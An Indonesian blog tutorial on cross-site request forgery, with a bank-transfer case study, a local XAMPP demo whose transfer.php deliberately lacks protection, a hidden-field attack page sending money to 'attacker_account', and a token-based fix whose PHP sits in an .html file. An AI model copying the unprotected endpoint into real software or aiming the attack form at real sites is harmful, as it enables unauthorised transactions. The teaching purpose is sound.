CROSS SITE REQUEST FORGERY
Serangan Cross-Site Request Forgery (CSRF) merupakan jenis serangan keamanan web di mana penyerang mengelabui pengguna untuk melakukan tindakan yang tidak diinginkan di aplikasi web di mana pengguna tersebut sudah terautentikasi.
STUDI KASUS: TRANSFER UANG
- Pak Budi masuk ke situs perbankan.
- Penyerang mengirimkan email ke Pak Budi dengan link berbahaya: http://bank.com/transfer?amount=1000&to=attacker_account
- Pak Budi mengklik link tersebut.
- Transfer uang dilakukan tanpa sepengetahuan Pak Budi.
DEMO SERANGAN CSRF
- Buat sebuah folder di C:\xampp\htdocs\ bernama csrf.
- Di dalam folder csrf, buat file bernama index.html dengan isi sebagai berikut:
<!DOCTYPE html>
<html>
<body>
<h2>Transfer Uang</h2>
<form action="transfer.php" method="POST">
<label for="amount">Jumlah:</label><br>
<input type="text" id="amount" name="amount"><br>
<label for="to">Kepada:</label><br>
<input type="text" id="to" name="to"><br><br>
<input type="submit" value="Transfer">
</form>
</body>
</html>
- Kemudian,Buat file bernama transfer.php dengan isi sebagai berikut:
<?php
session_start();
// Proses transfer (tanpa perlindungan CSRF)
$amount = $_POST['amount'];
$to = $_POST['to'];
echo "Transferred $amount to $to";
?>
- Buat file bernama csrf_attack.html dengan isi sebagai berikut:
<!DOCTYPE html>
<html>
<body>
<h2>CSRF Attack</h2>
<form action="http://localhost/csrf/transfer.php" method="POST">
<input type="hidden" name="amount" value="1000">
<input type="hidden" name="to" value="attacker_account">
<input type="submit" value="Submit">
</form>
</body>
</html>
Akses Formulir Transfer:
- Buka browser dan akses http://localhost/csrf/index.html
- Isi formulir dan submit untuk memastikan transfer bekerja.
Luncurkan Serangan:
- Buka http://localhost/csrf/csrf_attack.html.
- Klik tombol submit dan lihat hasil di halaman transfer.php
Untuk Terhindar dari serangan CSRF perlu menambahkan Script file yang sudah di buat, scriptnya adalah sebagai berikut:
Untuk melindungi aplikasi dari serangan CSRF, Anda bisa menambahkan token CSRF pada formulir dan memverifikasinya di sisi server. Berikut ini langkah-langkahnya:
1. Menambahkan Token CSRF pada Formulir di `index.html`:
<!DOCTYPE html>
<html>
<body>
<h2>Transfer Uang</h2>
<form action="transfer.php" method="POST">
<input type="hidden" name="csrf_token" value="<?php echo $_SESSION['csrf_token']; ?>">
<label for="amount">Jumlah:</label><br>
<input type="text" id="amount" name="amount"><br>
<label for="to">Kepada:</label><br>
<input type="text" id="to" name="to"><br><br>
<input type="submit" value="Transfer">
</form>
</body>
</html>
2. Memodifikasi `transfer.php` untuk Memverifikasi Token CSRF:
<?php
session_start();
// Generate a CSRF token if one does not exist
if (empty($_SESSION['csrf_token'])) {
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}
// Check if the CSRF token is valid
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if (!isset($_POST['csrf_token']) || $_POST['csrf_token'] !== $_SESSION['csrf_token']) {
die("Invalid CSRF token");
}
// Process the transfer if the CSRF token is valid
$amount = $_POST['amount'];
$to = $_POST['to'];
// Here you can add the code to process the transfer
// For example, updating the database or performing the transaction
echo "Transfer successful";
}
?>
3. Memastikan Token CSRF di `index.html`:
Tambahkan kode PHP untuk memulai sesi dan menghasilkan token CSRF di bagian atas file `index.html`:
<?php
session_start();
if (empty($_SESSION['csrf_token'])) {
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}
?>
<!DOCTYPE html>
<html>
<body>
<h2>Transfer Uang</h2>
<form action="transfer.php" method="POST">
<input type="hidden" name="csrf_token" value="<?php echo $_SESSION['csrf_token']; ?>">
<label for="amount">Jumlah:</label><br>
<input type="text" id="amount" name="amount"><br>
<label for="to">Kepada:</label><br>
<input type="text" id="to" name="to"><br><br>
<input type="submit" value="Transfer">
</form>
</body>
</html>
Dengan langkah-langkah di atas, aplikasi Anda akan lebih aman dari serangan CSRF karena setiap permintaan POST harus menyertakan token CSRF yang valid.
Dampak dari serangan CSRF dapat sangat merugikan, termasuk:
Perubahan Data yang Tidak Sah:
- Penyerang dapat memaksa pengguna yang terautentikasi untuk mengirim permintaan yang mengubah data pada aplikasi web, seperti mengubah kata sandi, mengubah alamat email, atau mengirim pesan atas nama pengguna.
Transaksi Keuangan yang Tidak Sah:
- Dalam konteks aplikasi perbankan atau e-commerce, serangan CSRF dapat digunakan untuk melakukan transfer dana atau pembelian tanpa sepengetahuan dan persetujuan pengguna.
Pencurian Identitas:
- Penyerang dapat mengubah informasi profil pengguna untuk mendapatkan akses ke akun atau informasi pribadi, yang kemudian dapat digunakan untuk tindakan jahat lebih lanjut.
Kerugian Finansial dan Reputasi:
- Bisnis dapat mengalami kerugian finansial akibat penipuan atau transaksi yang tidak sah. Selain itu, reputasi perusahaan dapat tercemar jika pengguna kehilangan kepercayaan pada keamanan aplikasi tersebut.
Penyebaran Malware:
- Penyerang dapat menggunakan serangan CSRF untuk mengarahkan pengguna ke situs berbahaya yang mengunduh malware ke sistem pengguna.
Eksploitasi Akun Pengguna:
- Penyerang bisa mengeksploitasi akun pengguna untuk tujuan jahat lainnya, seperti mengirim spam atau melakukan serangan lebih lanjut.
Dampak dari serangan CSRF yang berhasil bisa sangat parah. Penyerang sering kali mengandalkan teknik rekayasa sosial (misalnya, phishing, biasanya dengan mengirimkan tautan melalui email, yang bertujuan untuk mengarahkan pengguna ke situs berbahaya) untuk meningkatkan peluang keberhasilan.
Tidak ada komentar:
Posting Komentar